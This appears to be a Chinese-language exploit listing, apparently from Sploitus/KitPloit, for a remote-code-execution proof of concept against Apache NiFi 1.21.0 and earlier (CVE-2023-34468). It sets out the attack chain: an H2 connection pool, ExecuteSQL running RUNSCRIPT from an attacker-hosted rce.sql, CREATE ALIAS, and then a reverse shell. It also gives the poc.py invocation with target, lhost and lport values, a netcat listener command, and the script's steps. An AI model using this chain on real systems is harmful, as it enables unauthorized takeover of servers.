## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-SBOUABID-SEC-CVE-2023-34468-POC
# CVE-2023-34468 — Apache NiFi 1.21.0 RCE PoC
Apache NiFi <= 1.21.0 中通过 H2 数据库 RUNSCRIPT 实现远程代码执行
* * *
## 漏洞
Apache NiFi 默认捆绑了 H2 数据库 JAR。`DBCPConnectionPool` 控制器服务可配置为使用该 H2 驱动。H2 支持 `RUNSCRIPT` 语句,该语句会从远程 URL 获取并执行 SQL 文件。该 SQL 文件可通过 `CREATE ALIAS` 定义任意 Java 代码,并在服务器操作系统上执行。
**攻击链:**
root@kitploit:~
DBCPConnectionPool (H2 driver)
→ ExecuteSQL processor
→ RUNSCRIPT FROM http://attacker/rce.sql
→ CREATE ALIAS (Java method)
→ CALL SHELLEXEC (reverse shell)
* * *
## 受影响版本
软件| 版本
---|---
Apache NiFi| <= 1.21.0
修复版本| 1.21.1+
Java| 任意(自带)
* * *
## 环境要求
* Python 3.x
* `requests` 库 → `pip install requests`
* NiFi 目标具有匿名写入权限或有效凭据
* 目标到你的机器之间的网络可达(用于反弹 shell 回调)
* * *
## 使用方法
root@kitploit:~
python3 poc.py --target http://NiFi.target.com \
--lhost 10.10.10.10 \
--lport 4444 \
--http-port 80 \
--cleanup
### 参数
* * *
## 配置步骤
**终端 1 — 监听器:**
root@kitploit:~
nc -lvnp 4444
**终端 2 — 利用:**
root@kitploit:~
python3 poc.py --target http://NiFi.target.com --lhost 10.10.10.10 --lport 4444 --cleanup
* * *
## PoC 功能说明
root@kitploit:~
Step 1 检查匿名访问和写入权限
Step 2 获取根 Process Group ID
Step 3 创建恶意的 DBCPConnectionPool 控制器服务
Step 4 启用控制器服务(处理修订版本控制)
Step 5 创建指向我们 HTTP 服务器上 rce.sql 的 ExecuteSQL 处理器
Step 6 启动处理器 → NiFi 获取 rce.sql → shell 回调
Step 7 清理(如果设置了 --cleanup 标志)